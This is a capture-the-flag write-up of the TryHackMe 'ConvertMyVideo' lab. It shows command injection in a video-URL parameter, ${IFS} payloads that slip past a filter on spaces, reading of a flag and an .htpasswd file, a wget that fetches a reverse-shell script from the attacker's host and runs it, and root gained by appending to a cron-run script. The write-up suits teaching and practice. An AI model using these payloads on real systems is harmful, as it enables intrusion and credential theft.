TryHackMe — ConvertMyVideo
It’s a very good lab and you can test lots of different topics at the same time;
# I scan with nmap
sudo nmap -sV 10.10.124.59
# find web port to open and browse it;
# in parallel I start dirbsearch to find folders
sudo ./dirsearch.py -u http://10.10.124.59 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e js,php,html -x 403,404
# so first question answer we find quickly /admin folder our secret folder;
#so I understand basic Authentication and user credential need; I started password attack and also the as same time I started to web application testing
in Burp i start request manipulations ;
First thing i investigate yt_url part when i write
# |ls
i can execute my command, and after that, i think very simple room to solve;
#but after that i sent lots of Linux command and take every time to error; so i more create error and search from internet youtube-dl
# i find source code off youtube_dl
# my test i every time took error about not true parameter and options; so when looked github page i saw valid options
# and send first option — help over burp
yt_url — help
and bingoo — help options worked for me; all help information i can saw in response ,
# after that step i try to send more powerful command which one help to reach my aim, and i spend 1,5 about that;
#main problem simple command like ls, id executed but when i try to execute ls -al every time take syntax errors; so i more focus sent command without space;
#Google best helper me search :
“How to send a command with arguments without spaces?”
and find a true perspective
cat${IFS}file.txt
So using ${IFS} i can send command using without space; but before this job i send all my request burp repeater to more efficiently manipulation;
#please be careful that part because our parameter must be;
— version;ls${IFS}-al;
note: (- -) in the display looks like — and also you can use all option — help; — execute, — version
#so i can access all command that method; now i try to access /admin folder;
yt_url= — version;ls${IFS}/var/www/html/admin${IFS}-al;
# found .htpasswd and flag.txt
for reading flag.txt
yt_url= — version;cat${IFS}/var/www/html/admin/flag.txt;
and as the same method when you look to .htpasswd;
yt_url= — version;cat${IFS}/var/www/html/admin/.htpasswd;
you can find user;
Now i need to ever shell to execute for that reason i prepare bash based reverse shell.sh in my kali computer.
and start my kali
python -m SimpleHTTPServer 8090
and over burp vulnerable machine i try to install that file
yt_url= — version;wget${IFS}http://10.9.32.166:8090/shell.sh;
— version;chmod${IFS}755${IFS}/var/www/html/shell.sh;
so i installed and give execution permission after that i start in my kali nc to listen;
when over burp start shell.sh have shell 🙂
–version;bash${IFS}shell.sh;
#when i have console i look all method spend 2 hours and last i find one way only change; is there clean.sh script under temp folder; and some cronjob execute it periodically and editable from my self; (how can i know only CTF experience)
so i try to execute that command;
echo ‘ cat /root/root.txt >root-oldum’ >>clean.sh
and bingo i have root-oldum file as the same directory includes root.txt flag.
Super CTF Thank you overjt